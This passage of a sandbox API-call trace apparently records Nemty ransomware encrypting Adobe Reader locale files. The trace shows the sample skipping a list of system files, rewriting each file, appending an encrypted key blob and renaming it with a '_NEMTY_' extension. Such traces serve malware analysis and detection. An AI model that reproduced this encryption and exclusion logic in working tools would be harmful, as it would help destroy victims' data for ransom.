Size=0x20) returned 0x4f9ecb8 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.POL", lpUsedDefaultChar=0x0) returned 9 [0181.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.POL", lpUsedDefaultChar=0x0) returned 9 [0181.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.POL", lpUsedDefaultChar=0x0) returned 9 [0181.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.POL", lpUsedDefaultChar=0x0) returned 9 [0181.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.015] Sleep (dwMilliseconds=0x5) [0181.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f8b1830, dwHighDateTime=0x1d561e8)) [0181.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f8b1830, dwHighDateTime=0x1d561e8)) [0181.020] GetLastError () returned 0x0 [0181.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.020] GetLastError () returned 0x0 [0181.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.021] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.021] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="PSdKl+8rSpA7rIEryQiCWsqD5LQUD7E4NN7ZCnSLIooDWC3tReropdcZ4+nP9NL8\r\njQgGQgea1RWbpbmUTNm6HhLtKPGQDR5WV+OHi6iL5zvuaqNwvWL0hNs7cpd5MsYM\r\njOCZNM5DobpL6JWZ3r1Chi/wR+5BLh8VF5r7xe0pulkAQThzUEvRdOV6PtjrPzGi\r\nskhNf0omjtdJsqPcj8vyRzSeagkCk7D+ihaPC5+3lEBAMzZ9YrkL/LW8yF5rRl5y\r\nua0jVDFps6yeRm36DfxMpsW8mRwjVmd2yKyzvjtDll+FTRvdqqofkL3fSNP6AJAR\r\nSE/iFx/QLaXPp4nwOpvLYg==\r\n", pcchString=0x653e5dc) returned 1 [0181.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.021] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0181.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0181.021] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.021] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0181.023] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.024] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0181.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.024] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0181.024] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.024] CloseHandle (hObject=0x2e8) returned 1 [0181.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0181.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0181.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0181.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.024] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol._nemty_kgobjgd_")) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.025] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.POL", cAlternateFileName="")) returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2=".") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="..") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="...") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="windows") returned -1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="rsa") returned -1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="NTDETECT.COM") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="ntldr") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="MSDOS.SYS") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="IO.SYS") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="boot.ini") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="boot.ini") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="ntuser.dat") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="desktop.ini") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="CONFIG.SYS") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="RECYCLER") returned -1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.025] lstrcmpiW (lpString1="PPKLite.POL", lpString2="bootmgr") returned 1 [0181.026] lstrcmpiW (lpString1="PPKLite.POL", lpString2="programdata") returned -1 [0181.026] lstrcmpiW (lpString1="PPKLite.POL", lpString2="appdata") returned 1 [0181.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.POL", lpUsedDefaultChar=0x0) returned 11 [0181.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.POL", lpUsedDefaultChar=0x0) returned 11 [0181.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.POL", lpUsedDefaultChar=0x0) returned 11 [0181.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.POL", lpUsedDefaultChar=0x0) returned 11 [0181.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.026] Sleep (dwMilliseconds=0x5) [0181.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f8d7990, dwHighDateTime=0x1d561e8)) [0181.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f8d7990, dwHighDateTime=0x1d561e8)) [0181.036] GetLastError () returned 0x0 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.036] GetLastError () returned 0x0 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.036] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.036] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.036] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.036] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2KaqIvKrcKN04FFYcFu1x7EVT7CZEmprVFOdQUwlra4pGY2lSGlfV55bxgzTA21d\r\nwVhSh+q2Q9jD6DN5n0fMVHNIR0GqRXuFxFd3Mn83gQTZLQWf852/pPfgTFbOlMfk\r\nCdqw3+uvDmg4cb3fHHku4DykwZca1Y9W3ZPa2ZMPyOgXUCrFBlqeuOIc+nveGXVi\r\nx2TyULnKi3MYxhOOHunDHu7VVsVhkM/76nwIXHqX/WVSYJ0H/2sto/UDLjwKJ2As\r\n9iiXWZC1i//mCDCF3+Jsu96u061rq0E8y2HugmgnJlJc09eHAXcB80rpzpqDNVL1\r\nA7EwuOcHkRmphIwMt+c7HA==\r\n", pcchString=0x653e5dc) returned 1 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\PPKLite.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ppklite.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.037] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=518144) returned 1 [0181.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.037] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.037] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.048] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.048] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=518144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e800 [0181.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.050] CloseHandle (hObject=0x2e8) returned 1 [0181.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.050] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\PPKLite.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ppklite.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\PPKLite.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ppklite.pol._nemty_kgobjgd_")) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.051] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.POL", cAlternateFileName="")) returned 1 [0181.051] lstrcmpiW (lpString1="RdLang32.POL", lpString2=".") returned 1 [0181.051] lstrcmpiW (lpString1="RdLang32.POL", lpString2="..") returned 1 [0181.051] lstrcmpiW (lpString1="RdLang32.POL", lpString2="...") returned 1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="windows") returned -1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="rsa") returned -1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="NTDETECT.COM") returned 1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="ntldr") returned 1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="MSDOS.SYS") returned 1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="IO.SYS") returned 1 [0181.052] lstrcmpiW (lpString1="RdLang32.POL", lpString2="boot.ini") returned 